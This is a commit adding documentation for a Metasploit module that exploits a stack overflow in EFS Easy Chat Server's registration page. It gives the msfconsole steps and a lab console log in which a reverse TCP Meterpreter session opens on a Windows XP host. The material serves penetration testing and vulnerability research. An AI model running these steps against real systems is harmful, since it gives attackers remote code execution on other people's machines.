Added exploit documentation

Author: Mzack9999

modules/exploits/windows/http/easychatserver_seh.md

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+## Description
+
+This module exploits a vulnerability in the EFS Easy Chat Server application, from version 2 to 3.1, affecting the username parameter in Registration page 'register.ghp', which is prone to a stack overflow vulnerability.
+
+This module allows a remote attacker to get a payload executed under the context of the user running the Easy Chat Server application
+
+## Vulnerable Application
+
+[Easy Chat Server](http://echatserver.com/) Easy Chat Server is a easy, fast and affordable way to host and manage real-time communication software.
+
+This module has been tested successfully on
+
+* Easy Chat Server 3.1 on Windows XP En SP3
+
+Installers:
+
+[EFS Easy Chat Server Installers](http://echatserver.com/ecssetup.exe)
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. Do: `use exploits/windows/http/easychatserver_seh`
+3. Do: `set rhosts [IP]`
+4. Do: `exploit`
+5. You should get your payload executed
+
+## Scenarios
+
+```
+marco@kali:~$ msfconsole -q
+msf > use exploit/windows/http/easychatserver_seh
+msf exploit(easychatserver_seh) > set RHOST 192.168.56.101
+RHOST => 192.168.56.101
+msf exploit(easychatserver_seh) > exploit
+ 
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Sending stage (957487 bytes) to 192.168.56.101
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200
+ 
+meterpreter > sysinfo
+Computer    	: MM-8B040C5B05D9
+OS          	: Windows XP (Build 2600, Service Pack 3).
+Architecture	: x86
+System Language : en_US
+Domain      	: WORKGROUP
+Logged On Users : 2
+Meterpreter 	: x86/windows
+meterpreter > exit
+[*] Shutting down Meterpreter...
+ 
+[*] 192.168.56.101 - Meterpreter session 1 closed.  Reason: User exit
+msf exploit(easychatserver_seh) >
+```